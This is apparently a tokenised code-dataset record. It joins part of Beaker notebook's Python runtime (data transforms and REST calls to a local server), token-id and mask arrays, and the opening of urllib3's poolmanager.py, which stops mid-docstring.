typ.startswith("ulong"): return True if typ.startswith("bool"): return True if typ.startswith("date") or typ.startswith("Time"): return True if typ.startswith("str"): return True return False def isListOfMaps(data): if type(data) != list: return False for w in data: if type(w) != dict: return False for v in w.values(): if not isPrimitiveType(type(v).__name__): return False return True def isDictionary(data): if type(data) != dict: return False for v in data.values(): if not isPrimitiveType(type(v).__name__): return False return True def transformNaN(obj): if not isinstance(obj, float): return obj if math.isnan(obj): return "Nan"; if math.isinf(obj): if obj>0: return "Infinity" else: return "-Infinity" return obj def transformNaNs(obj): for x in range(0,len(obj)): i = obj[x]; if not isinstance(i, float): continue if math.isnan(i): obj[x] = "NaN"; if math.isinf(i): if i>0: obj[x] = "Infinity" else: obj[x] = "-Infinity" def fixNaNBack(obj): if not isinstance(obj, str): return obj if obj == "NaN": return float('nan') if obj == "Infinity": return float('inf') if obj == "-Infinity": return float('-inf') return obj def fixNaNsBack(obj): for x in range(0,len(obj)): i = obj[x]; if not isinstance(i, str): continue if i == "NaN": obj[x] = float('nan') if i == "Infinity": obj[x] = float('inf') if i == "-Infinity": obj[x] = float('-inf') def transform(obj): if type(obj) == bytes: return str(obj) if isListOfMaps(obj): out = {} out['type'] = "TableDisplay" out['subtype'] = "ListOfMaps" cols = [] for l in obj: cols.extend(l.keys()) cols = list(set(cols)) out['columnNames'] = cols vals = [] for l in obj: row = [] for r in cols: if r in l: row.append(transform(l[r])) else: row.append('') vals.append(row) out['values'] = vals return out if isDictionary(obj): out = {} out['type'] = "TableDisplay" out['subtype'] = "Dictionary" out['columnNames'] = [ "Key", "Value" ] values = [] for k,v in obj.items(): values.append( [k, transform(v)] ) out['values'] = values return out if type(obj) == dict: out = {} for k,v in obj.items(): out[k] = transform(v) return out if type(obj) == list: out = [] for v in obj: out.append(transform(v)) return out if isinstance(obj, OutputContainer): out = {} out['type'] = "OutputContainer" items = [] for v in obj.getItems(): items.append(transform(v)) out['items'] = items return out if isinstance(obj, BeakerCodeCell): out = {} out['type'] = "BeakerCodeCell" out['cellId'] = obj.getCellId() out['evaluatorId'] = obj.getEvaluatorId() out['code'] = obj.getCode() out['outputtype'] = obj.getOutputType() out['output'] = transform(obj.getOutput()) out['tags'] = obj.getTags() return out return transformNaN(obj) def transformBack(obj): if type(obj) == dict: out = {} for k,v in obj.items(): out[str(k)] = transformBack(v) if "type" in out: if out['type'] == "BeakerCodeCell": c = BeakerCodeCell(out['cellId'], out['evaluatorId']) if 'code' in out: c.code = out['code'] if 'outputtype' in out: c.outputtype = out['outputtype'] if 'output' in out: c.output = transformBack(out['output']) if 'tags' in out: c.tags = out['tags'] return c if out['type'] == "OutputContainer": c = OutputContainer() if 'items' in out: for i in out['items']: c.addItem(i) return c; if out['type'] == "Date": return datetime.datetime.fromtimestamp(out["timestamp"]/1000) if out['type'] == "TableDisplay": if 'subtype' in out: if out['subtype'] == "Dictionary": out2 = { } for r in out['values']: out2[r[0]] = fixNaNBack(r[1]) if out['columnNames'][0] == "Index": return pandas.Series(out2) return out2 if out['subtype'] == "Matrix": vals = out['values'] fixNaNsBack(vals) return numpy.matrix(vals) if out['subtype'] == "ListOfMaps": out2 = [] cnames = out['columnNames'] for r in out['values']: out3 = { } for i in range(len(cnames)): if r[i] != '': out3[ cnames[i] ] = r[i] out2.append(out3) return out2 # transform to dataframe # first column becomes the index vals = out['values'] cnames = out['columnNames'][1:] index = [] for x in range(0,len(vals)): index.append(transformBack(vals[x][0])) v = vals[x][1:] fixNaNsBack(v) vals[x] = v return pandas.DataFrame(data=vals, columns=cnames, index=index) return out if type(obj) == list: out = [] for v in obj: out.append(transformBack(v)) return out try: if type(obj) == bytes: obj = str(obj) except Exception as e: return obj return obj # should be inner class to Beaker class DataFrameEncoder(json.JSONEncoder): def default(self, obj): # similarly handle Panels. # make this extensible by the user to handle their own types. if isinstance(obj, numpy.generic): return transformNaN(obj.item()) if isinstance(obj, numpy.ndarray) and obj.ndim == 2: out = {} out['type'] = "TableDisplay" out['subtype'] = "Matrix" cols = [ ] for i in range(obj.shape[1]): cols.append( "c" + str(i) ) out['columnNames'] =cols vars = obj.tolist() for x in range(0,len(vars)): transformNaNs(vars[x]) out['values'] = vars return out if isinstance(obj, numpy.ndarray): ret = obj.tolist() transformNaNs(ret) return ret if type(obj) == datetime.datetime or type(obj) == datetime.date or type(obj).__name__ == 'Timestamp': out = {} out['type'] = "Date" out['timestamp'] = int(obj.strftime("%s"))*1000 return out if type(obj) == pandas.core.frame.DataFrame: out = {} out['type'] = "TableDisplay" out['subtype'] = "TableDisplay" out['columnNames'] = ['Index'] + obj.columns.tolist() vals = obj.values.tolist() idx = obj.index.tolist() for x in range(0,len(vals)): vals[x] = [ idx[x] ] + vals[x] ty = [] num = len(obj.columns.tolist()) x = 0; for x in range(0,num+1): ty.append( convertTypeName(type(vals[0][x]).__name__)) out['types'] = ty for x in range(0,len(vals)): transformNaNs(vals[x]) out['values'] = vals return out if type(obj) == pandas.core.series.Series: basict = True for i in range(len(obj)): if not isPrimitiveType(type(obj[i]).__name__): basict = False break if basict: out = {} out['type'] = "TableDisplay" out['subtype'] = "Dictionary" out['columnNames'] = [ "Index", "Value" ] values = [] for k,v in obj.items(): values.append( [k, transform(v)] ) out['values'] = values return out return obj.to_dict() return json.JSONEncoder.default(self, obj) class MyJSONFormatter(IPython.core.formatters.BaseFormatter): format_type = Unicode('application/json') def __call__(self, obj): try: obj = transform(obj) return json.dumps(obj, cls=DataFrameEncoder) except Exception as e: #print(e) #traceback.print_exc() return None class Beaker: """Runtime support for Python code in Beaker.""" session_id = '' core_url = '127.0.0.1:' + os.environ['beaker_core_port'] _beaker_password_mgr = urllib.request.HTTPPasswordMgrWithDefaultRealm() _beaker_password_mgr.add_password(None, core_url, 'beaker', os.environ['beaker_core_password']) _beaker_url_opener = urllib.request.build_opener(urllib.request.HTTPBasicAuthHandler(_beaker_password_mgr), urllib.request.ProxyHandler({})) def set4(self, var, val, unset, sync): args = {'name': var, 'session':self.session_id, 'sync':sync} if not unset: val = transform(val) args['value'] = json.dumps(val, cls=DataFrameEncoder) req = urllib.request.Request('http://' + self.core_url + '/rest/namespace/set', urllib.parse.urlencode(args).encode('utf8')) conn = self._beaker_url_opener.open(req) reply = conn.read().decode("utf-8") if reply != 'ok': raise NameError(reply) def get(self, var): req = urllib.request.Request('http://' + self.core_url + '/rest/namespace/get?' + urllib.parse.urlencode({ 'name': var, 'session':self.session_id})) conn = self._beaker_url_opener.open(req) result = json.loads(conn.read().decode()) if not result['defined']: raise NameError('name \'' + var + '\' is not defined in notebook namespace') return transformBack(result['value']) def set_session(self, id): self.session_id = id def register_output(self): ip = IPython.InteractiveShell.instance() ip.display_formatter.formatters['application/json'] = MyJSONFormatter(parent=ip.display_formatter) def set(self, var, val): return self.set4(var, val, False, True) def createOutputContainer(self): return OutputContainer() def showProgressUpdate(self): return "WARNING: python3 language plugin does not support progress updates" def evaluate(self,filter): args = {'filter': filter, 'session':self.session_id} req = urllib.request.Request('http://' + self.core_url + '/rest/notebookctrl/evaluate', urllib.parse.urlencode(args).encode('utf8')) conn = self._beaker_url_opener.open(req) result = json.loads(conn.read().decode()) return transformBack(result) def evaluateCode(self, evaluator,code): args = {'evaluator': evaluator, 'code' : code, 'session':self.session_id} req = urllib.request.Request('http://' + self.core_url + '/rest/notebookctrl/evaluateCode', urllib.parse.urlencode(args).encode('utf8')) conn = self._beaker_url_opener.open(req) result = json.loads(conn.read().decode()) return transformBack(result) def showStatus(self,msg): args = {'msg': msg, 'session':self.session_id} req = urllib.request.Request('http://' + self.core_url + '/rest/notebookctrl/showStatus', urllib.parse.urlencode(args).encode('utf8')) conn = self._beaker_url_opener.open(req) result = conn.read() return result=="true" def clearStatus(self,msg): args = {'msg': msg, 'session':self.session_id} req = urllib.request.Request('http://' + self.core_url + '/rest/notebookctrl/clearStatus', urllib.parse.urlencode(args).encode('utf8')) conn = self._beaker_url_opener.open(req) result = conn.read() return result=="true" def showTransientStatus(self,msg): args = {'msg': msg, 'session':self.session_id} req = urllib.request.Request('http://' + self.core_url + '/rest/notebookctrl/showTransientStatus', urllib.parse.urlencode(args).encode('utf8')) conn = self._beaker_url_opener.open(req) result = conn.read() return result=="true" def getEvaluators(self): req = urllib.request.Request('http://' + self.core_url + '/rest/notebookctrl/getEvaluators?' + urllib.parse.urlencode({ 'session':self.session_id})) conn = self._beaker_url_opener.open(req) result = json.loads(conn.read().decode()) return transformBack(result) def getCodeCells(self,filter): req = urllib.request.Request('http://' + self.core_url + '/rest/notebookctrl/getCodeCells?' + urllib.parse.urlencode({ 'session':self.session_id, 'filter':filter})) conn = self._beaker_url_opener.open(req) result = json.loads(conn.read().decode()) return transformBack(result) def setCodeCellBody(self,name,body): args = {'name': name, 'body':body, 'session':self.session_id} req = urllib.request.Request('http://' + self.core_url + '/rest/notebookctrl/setCodeCellBody', urllib.parse.urlencode(args).encode('utf8')) conn = self._beaker_url_opener.open(req) result = conn.read() return result=="true" def setCodeCellEvaluator(self,name,evaluator): args = {'name': name, 'evaluator':evaluator, 'session':self.session_id} req = urllib.request.Request('http://' + self.core_url + '/rest/notebookctrl/setCodeCellEvaluator', urllib.parse.urlencode(args).encode('utf8')) conn = self._beaker_url_opener.open(req) result = conn.read() return result=="true" def setCodeCellTags(self,name,tags): args = {'name': name, 'tags':tags, 'session':self.session_id} req = urllib.request.Request('http://' + self.core_url + '/rest/notebookctrl/setCodeCellTags', urllib.parse.urlencode(args).encode('utf8')) conn = self._beaker_url_opener.open(req) result = conn.read() return result=="true" def __setattr__(self, name, value): if 'session_id' == name: self.__dict__['session_id'] = value return return self.set(name, value) def __getattr__(self, name): return self.get(name)
apache-2.0
[ 3, 1898, 6927, 16562, 15522, 2054, 24164, 25470, 12, 20376, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 263, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 199, 646, 747, 12, 2022, 12, 10634, 12, 2680, 199, 646, 4011, 14, 1069, 12, 4011, 14, 1122, 12, 4011, 14, 705, 12, 4011, 14, 1069, 12, 4011, 14, 705, 12, 4011, 14, 1122, 12, 16243, 12, 2197, 12, 11234, 12, 3473, 12, 5190, 12, 900, 199, 504, 16243, 14, 1208, 14, 1239, 5776, 1086, 492, 6140, 199, 199, 533, 7242, 4076, 26, 272, 347, 636, 826, 721, 277, 304, 267, 291, 14, 1744, 275, 942, 272, 347, 5436, 8, 277, 304, 267, 291, 14, 1744, 275, 359, 1622, 272, 347, 1050, 2081, 8, 277, 12, 1559, 304, 267, 291, 14, 1744, 14, 740, 8, 1113, 9, 272, 347, 664, 7412, 8, 277, 304, 267, 372, 291, 14, 1744, 199, 199, 533, 6423, 12630, 3034, 8108, 26, 272, 347, 636, 826, 721, 277, 12, 4917, 1304, 12, 29207, 1304, 304, 267, 291, 14, 3890, 1304, 275, 4917, 1304, 267, 291, 14, 27406, 1304, 275, 29207, 1304, 267, 291, 14, 600, 275, 2125, 267, 291, 14, 1199, 466, 275, 2125, 267, 291, 14, 1199, 275, 488, 267, 291, 14, 2969, 275, 2125, 272, 347, 664, 8108, 1304, 8, 277, 304, 267, 372, 291, 14, 3890, 1304, 272, 347, 664, 10006, 16530, 1304, 8, 277, 304, 267, 372, 291, 14, 27406, 1304, 272, 347, 664, 3034, 8, 277, 304, 267, 372, 291, 14, 600, 272, 347, 664, 2959, 804, 8, 277, 304, 267, 372, 291, 14, 1199, 466, 272, 347, 664, 2959, 8, 277, 304, 267, 372, 291, 14, 1199, 272, 347, 664, 9440, 8, 277, 304, 267, 372, 291, 14, 2969, 199, 199, 318, 3957, 23059, 8, 9749, 304, 272, 340, 6211, 14, 2460, 480, 1609, 2349, 267, 372, 298, 3157, 2, 272, 340, 6211, 14, 2460, 480, 442, 531, 503, 6211, 14, 2460, 480, 1635, 531, 503, 6211, 14, 2460, 480, 3612, 531, 503, 6211, 14, 2460, 480, 27170, 531, 503, 6211, 14, 2460, 480, 2809, 531, 503, 6211, 14, 2460, 480, 15688, 2349, 267, 372, 298, 4115, 2, 272, 340, 6211, 14, 2460, 480, 2245, 2349, 267, 372, 298, 4871, 2, 272, 340, 6211, 14, 2460, 480, 602, 531, 503, 6211, 14, 2460, 480, 1366, 2349, 267, 372, 298, 521, 2, 272, 372, 298, 875, 2, 199, 199, 318, 365, 22231, 804, 8, 9749, 304, 272, 340, 6211, 14, 2460, 480, 1609, 2349, 267, 372, 715, 272, 340, 6211, 14, 2460, 480, 442, 531, 503, 6211, 14, 2460, 480, 1635, 531, 503, 6211, 14, 2460, 480, 3612, 531, 503, 6211, 14, 2460, 480, 27170, 531, 503, 6211, 14, 2460, 480, 2809, 531, 503, 6211, 14, 2460, 480, 15688, 2349, 267, 372, 715, 272, 340, 6211, 14, 2460, 480, 2245, 2349, 267, 372, 715, 272, 340, 6211, 14, 2460, 480, 602, 531, 503, 6211, 14, 2460, 480, 1366, 2349, 267, 372, 715, 272, 340, 6211, 14, 2460, 480, 495, 2349, 267, 372, 715, 272, 372, 756, 199, 199, 318, 365, 30210, 24995, 8, 576, 304, 272, 340, 730, 8, 576, 9, 1137, 769, 26, 267, 372, 756, 272, 367, 336, 315, 666, 26, 267, 340, 730, 8, 87, 9, 1137, 1211, 26, 288, 372, 756, 267, 367, 373, 315, 336, 14, 1459, 837, 288, 340, 440, 365, 22231, 804, 8, 466, 8, 86, 2843, 354, 18580, 355, 372, 756, 272, 372, 715, 199, 199, 318, 365, 11728, 8, 576, 304, 272, 340, 730, 8, 576, 9, 1137, 1211, 26, 267, 372, 756, 272, 367, 373, 315, 666, 14, 1459, 837, 267, 340, 440, 365, 22231, 804, 8, 466, 8, 86, 2843, 354, 18580, 288, 372, 756, 272, 372, 715, 199, 199, 318, 5793, 14300, 8, 1113, 304, 272, 340, 440, 1228, 8, 1113, 12, 2069, 304, 267, 372, 1559, 272, 340, 3473, 14, 12936, 8, 1113, 304, 267, 372, 298, 27531, 11436, 272, 340, 3473, 14, 29326, 8, 1113, 304, 267, 340, 1559, 30, 16, 26, 288, 372, 298, 14660, 2, 267, 587, 26, 288, 372, 3905, 14660, 2, 272, 372, 1559, 199, 199, 318, 5793, 8565, 2438, 8, 1113, 304, 272, 367, 671, 315, 1425, 8, 16, 12, 552, 8, 1113, 2298, 267, 284, 275, 1559, 59, 88, 11566, 267, 340, 440, 1228, 8, 73, 12, 2069, 304, 288, 1980, 267, 340, 3473, 14, 12936, 8, 73, 304, 288, 1559, 59, 88, 61, 275, 298, 14300, 11436, 267, 340, 3473, 14, 29326, 8, 73, 304, 288, 340, 284, 30, 16, 26, 355, 1559, 59, 88, 61, 275, 298, 14660, 2, 288, 587, 26, 355, 1559, 59, 88, 61, 275, 3905, 14660, 2, 199, 199, 318, 5325, 14300, 4540, 8, 1113, 304, 272, 340, 440, 1228, 8, 1113, 12, 620, 304, 267, 372, 1559, 272, 340, 1559, 508, 298, 14300, 582, 267, 372, 2069, 360, 4304, 358, 272, 340, 1559, 508, 298, 14660, 582, 267, 372, 2069, 360, 4904, 358, 272, 340, 1559, 508, 3905, 14660, 582, 267, 372, 2069, 3654, 4904, 358, 272, 372, 1559, 199, 199, 318, 5325, 8565, 2438, 4540, 8, 1113, 304, 272, 367, 671, 315, 1425, 8, 16, 12, 552, 8, 1113, 2298, 267, 284, 275, 1559, 59, 88, 11566, 267, 340, 440, 1228, 8, 73, 12, 620, 304, 288, 1980, 267, 340, 284, 508, 298, 14300, 582, 288, 1559, 59, 88, 61, 275, 2069, 360, 4304, 358, 267, 340, 284, 508, 298, 14660, 582, 288, 1559, 59, 88, 61, 275, 2069, 360, 4904, 358, 267, 340 ]
[ 1898, 6927, 16562, 15522, 2054, 24164, 25470, 12, 20376, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 263, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 199, 646, 747, 12, 2022, 12, 10634, 12, 2680, 199, 646, 4011, 14, 1069, 12, 4011, 14, 1122, 12, 4011, 14, 705, 12, 4011, 14, 1069, 12, 4011, 14, 705, 12, 4011, 14, 1122, 12, 16243, 12, 2197, 12, 11234, 12, 3473, 12, 5190, 12, 900, 199, 504, 16243, 14, 1208, 14, 1239, 5776, 1086, 492, 6140, 199, 199, 533, 7242, 4076, 26, 272, 347, 636, 826, 721, 277, 304, 267, 291, 14, 1744, 275, 942, 272, 347, 5436, 8, 277, 304, 267, 291, 14, 1744, 275, 359, 1622, 272, 347, 1050, 2081, 8, 277, 12, 1559, 304, 267, 291, 14, 1744, 14, 740, 8, 1113, 9, 272, 347, 664, 7412, 8, 277, 304, 267, 372, 291, 14, 1744, 199, 199, 533, 6423, 12630, 3034, 8108, 26, 272, 347, 636, 826, 721, 277, 12, 4917, 1304, 12, 29207, 1304, 304, 267, 291, 14, 3890, 1304, 275, 4917, 1304, 267, 291, 14, 27406, 1304, 275, 29207, 1304, 267, 291, 14, 600, 275, 2125, 267, 291, 14, 1199, 466, 275, 2125, 267, 291, 14, 1199, 275, 488, 267, 291, 14, 2969, 275, 2125, 272, 347, 664, 8108, 1304, 8, 277, 304, 267, 372, 291, 14, 3890, 1304, 272, 347, 664, 10006, 16530, 1304, 8, 277, 304, 267, 372, 291, 14, 27406, 1304, 272, 347, 664, 3034, 8, 277, 304, 267, 372, 291, 14, 600, 272, 347, 664, 2959, 804, 8, 277, 304, 267, 372, 291, 14, 1199, 466, 272, 347, 664, 2959, 8, 277, 304, 267, 372, 291, 14, 1199, 272, 347, 664, 9440, 8, 277, 304, 267, 372, 291, 14, 2969, 199, 199, 318, 3957, 23059, 8, 9749, 304, 272, 340, 6211, 14, 2460, 480, 1609, 2349, 267, 372, 298, 3157, 2, 272, 340, 6211, 14, 2460, 480, 442, 531, 503, 6211, 14, 2460, 480, 1635, 531, 503, 6211, 14, 2460, 480, 3612, 531, 503, 6211, 14, 2460, 480, 27170, 531, 503, 6211, 14, 2460, 480, 2809, 531, 503, 6211, 14, 2460, 480, 15688, 2349, 267, 372, 298, 4115, 2, 272, 340, 6211, 14, 2460, 480, 2245, 2349, 267, 372, 298, 4871, 2, 272, 340, 6211, 14, 2460, 480, 602, 531, 503, 6211, 14, 2460, 480, 1366, 2349, 267, 372, 298, 521, 2, 272, 372, 298, 875, 2, 199, 199, 318, 365, 22231, 804, 8, 9749, 304, 272, 340, 6211, 14, 2460, 480, 1609, 2349, 267, 372, 715, 272, 340, 6211, 14, 2460, 480, 442, 531, 503, 6211, 14, 2460, 480, 1635, 531, 503, 6211, 14, 2460, 480, 3612, 531, 503, 6211, 14, 2460, 480, 27170, 531, 503, 6211, 14, 2460, 480, 2809, 531, 503, 6211, 14, 2460, 480, 15688, 2349, 267, 372, 715, 272, 340, 6211, 14, 2460, 480, 2245, 2349, 267, 372, 715, 272, 340, 6211, 14, 2460, 480, 602, 531, 503, 6211, 14, 2460, 480, 1366, 2349, 267, 372, 715, 272, 340, 6211, 14, 2460, 480, 495, 2349, 267, 372, 715, 272, 372, 756, 199, 199, 318, 365, 30210, 24995, 8, 576, 304, 272, 340, 730, 8, 576, 9, 1137, 769, 26, 267, 372, 756, 272, 367, 336, 315, 666, 26, 267, 340, 730, 8, 87, 9, 1137, 1211, 26, 288, 372, 756, 267, 367, 373, 315, 336, 14, 1459, 837, 288, 340, 440, 365, 22231, 804, 8, 466, 8, 86, 2843, 354, 18580, 355, 372, 756, 272, 372, 715, 199, 199, 318, 365, 11728, 8, 576, 304, 272, 340, 730, 8, 576, 9, 1137, 1211, 26, 267, 372, 756, 272, 367, 373, 315, 666, 14, 1459, 837, 267, 340, 440, 365, 22231, 804, 8, 466, 8, 86, 2843, 354, 18580, 288, 372, 756, 272, 372, 715, 199, 199, 318, 5793, 14300, 8, 1113, 304, 272, 340, 440, 1228, 8, 1113, 12, 2069, 304, 267, 372, 1559, 272, 340, 3473, 14, 12936, 8, 1113, 304, 267, 372, 298, 27531, 11436, 272, 340, 3473, 14, 29326, 8, 1113, 304, 267, 340, 1559, 30, 16, 26, 288, 372, 298, 14660, 2, 267, 587, 26, 288, 372, 3905, 14660, 2, 272, 372, 1559, 199, 199, 318, 5793, 8565, 2438, 8, 1113, 304, 272, 367, 671, 315, 1425, 8, 16, 12, 552, 8, 1113, 2298, 267, 284, 275, 1559, 59, 88, 11566, 267, 340, 440, 1228, 8, 73, 12, 2069, 304, 288, 1980, 267, 340, 3473, 14, 12936, 8, 73, 304, 288, 1559, 59, 88, 61, 275, 298, 14300, 11436, 267, 340, 3473, 14, 29326, 8, 73, 304, 288, 340, 284, 30, 16, 26, 355, 1559, 59, 88, 61, 275, 298, 14660, 2, 288, 587, 26, 355, 1559, 59, 88, 61, 275, 3905, 14660, 2, 199, 199, 318, 5325, 14300, 4540, 8, 1113, 304, 272, 340, 440, 1228, 8, 1113, 12, 620, 304, 267, 372, 1559, 272, 340, 1559, 508, 298, 14300, 582, 267, 372, 2069, 360, 4304, 358, 272, 340, 1559, 508, 298, 14660, 582, 267, 372, 2069, 360, 4904, 358, 272, 340, 1559, 508, 3905, 14660, 582, 267, 372, 2069, 3654, 4904, 358, 272, 372, 1559, 199, 199, 318, 5325, 8565, 2438, 4540, 8, 1113, 304, 272, 367, 671, 315, 1425, 8, 16, 12, 552, 8, 1113, 2298, 267, 284, 275, 1559, 59, 88, 11566, 267, 340, 440, 1228, 8, 73, 12, 620, 304, 288, 1980, 267, 340, 284, 508, 298, 14300, 582, 288, 1559, 59, 88, 61, 275, 2069, 360, 4304, 358, 267, 340, 284, 508, 298, 14660, 582, 288, 1559, 59, 88, 61, 275, 2069, 360, 4904, 358, 267, 340, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
Maistho/CouchPotatoServer
libs/requests/packages/urllib3/poolmanager.py
678
9406
import logging try: # Python 3 from urllib.parse import urljoin except ImportError: from urlparse import urljoin from ._collections import RecentlyUsedContainer from .connectionpool import HTTPConnectionPool, HTTPSConnectionPool from .connectionpool import port_by_scheme from .exceptions import LocationValueError, MaxRetryError from .request import RequestMethods from .util.url import parse_url from .util.retry import Retry __all__ = ['PoolManager', 'ProxyManager', 'proxy_from_url'] pool_classes_by_scheme = { 'http': HTTPConnectionPool, 'https': HTTPSConnectionPool, } log = logging.getLogger(__name__) SSL_KEYWORDS = ('key_file', 'cert_file', 'cert_reqs', 'ca_certs', 'ssl_version') class PoolManager(RequestMethods): """ Allows for arbitrary requests while transparently keeping track of necessary connection pools for you. :param num_pools: Number of connection pools to cache before discarding the least recently used pool. :param headers: Headers to include with all requests, unless other headers are given explicitly. :param \**connection_pool_kw: Additional parameters are used to create fresh :class:`urllib3.connectionpool.ConnectionPool` instances. Example:: >>> manager = PoolManager(num_pools=2) >>> r = manager.request('GET', 'http://google.com/') >>> r = manager.request('GET', 'http://google.com/mail') >>> r = manager.request('GET', 'http://yahoo.com/') >>> len(manager.pools) 2 """ proxy = None def __init__(self, num_pools=10, headers=None, **connection_pool_kw): RequestMethods.__init__(self, headers) self.connection_pool_kw = connection_pool_kw self.pools = RecentlyUsedContainer(num_pools, dispose_func=lambda p: p.close()) def __enter__(self): return self def __exit__(self, exc_type, exc_val, exc_tb): self.clear() # Return False to re-raise any potential exceptions return False def _new_pool(self, scheme, host, port): """ Create a new :class:`ConnectionPool` based on host, port and scheme. This method is used to actually create the connection pools handed out by :meth:`connection_from_url` and companion methods. It is intended to be overridden for customization. """ pool_cls = pool_classes_by_scheme[scheme] kwargs = self.connection_pool_kw if scheme == 'http': kwargs = self.connection_pool_kw.copy() for kw in SSL_KEYWORDS: kwargs.pop(kw, None) return pool_cls(host, port, **kwargs) def clear(self): """ Empty our store of pools and direct them all to close. This will not affect in-flight connections, but they will not be re-used after completion. """ self.pools.clear() def connection_from_host(self, host, port=None, scheme='http'): """ Get a :class:`ConnectionPool` based on the host, port, and scheme. If ``port`` isn't given, it will be derived from the ``scheme`` using ``urllib3.connectionpool.port_by_scheme``. """ if not host: raise LocationValueError("No host specified.") scheme = scheme or 'http' port = port or port_by_scheme.get(scheme, 80) pool_key = (scheme, host, port) with self.pools.lock: # If the scheme, host, or port doesn't match existing open # connections, open a new ConnectionPool. pool = self.pools.get(pool_key) if pool: return pool # Make a fresh ConnectionPool of the desired type pool = self._new_pool(scheme, host, port) self.pools[pool_key] = pool return pool def connection_from_url(self, url): """ Similar to :func:`urllib3.connectionpool.connection_from_url` but doesn't pass any additional parameters to the :class:`urllib3.connectionpool.ConnectionPool` constructor. Additional parameters are taken from the :class:`.PoolManager` constructor. """ u = parse_url(url) return self.connection_from_host(u.host, port=u.port, scheme=u.scheme) def urlopen(self, method, url, redirect=True, **kw): """ Same as :meth:`urllib3.connectionpool.HTTPConnectionPool.urlopen` with custom cross-host redirect logic and only sends the request-uri portion of the ``url``. The given ``url`` parameter must be absolute, such that an appropriate :class:`urllib3.connectionpool.ConnectionPool` can be chosen for it. """ u = parse_url(url) conn = self.connection_from_host(u.host, port=u.port, scheme=u.scheme) kw['assert_same_host'] = False kw['redirect'] = False if 'headers' not in kw: kw['headers'] = self.headers if self.proxy is not None and u.scheme == "http": response = conn.urlopen(method, url, **kw) else: response = conn.urlopen(method, u.request_uri, **kw) redirect_location = redirect and response.get_redirect_location() if not redirect_location: return response # Support relative URLs for redirecting. redirect_location = urljoin(url, redirect_location) # RFC 7231, Section 6.4.4 if response.status == 303: method = 'GET' retries = kw.get('retries') if not isinstance(retries, Retry): retries = Retry.from_int(retries, redirect=redirect) try: retries = retries.increment(method, url, response=response, _pool=conn) except MaxRetryError: if retries.raise_on_redirect: raise return response kw['retries'] = retries kw['redirect'] = redirect log.info("Redirecting %s -> %s" % (url, redirect_location)) return self.urlopen(method, redirect_location, **kw) class ProxyManager(PoolManager): """ Behaves just like :class:`PoolManager`, but sends all requests through the defined proxy, using the CONNECT method for HTTPS URLs. :param proxy_url: The URL of the proxy to be used. :param proxy_headers: A dictionary contaning headers that will be sent to the proxy. In case of HTTP they are being sent with each request, while in the HTTPS/CONNECT case they are sent only once. Could be used for proxy authentication. Example: >>> proxy = urllib3.ProxyManager('http://localhost:3128/') >>> r1 = proxy.request('GET', 'http://google.com/') >>> r2 = proxy.request('GET', 'http://httpbin.org/') >>> len(proxy.pools) 1 >>> r3 = proxy.request('GET', 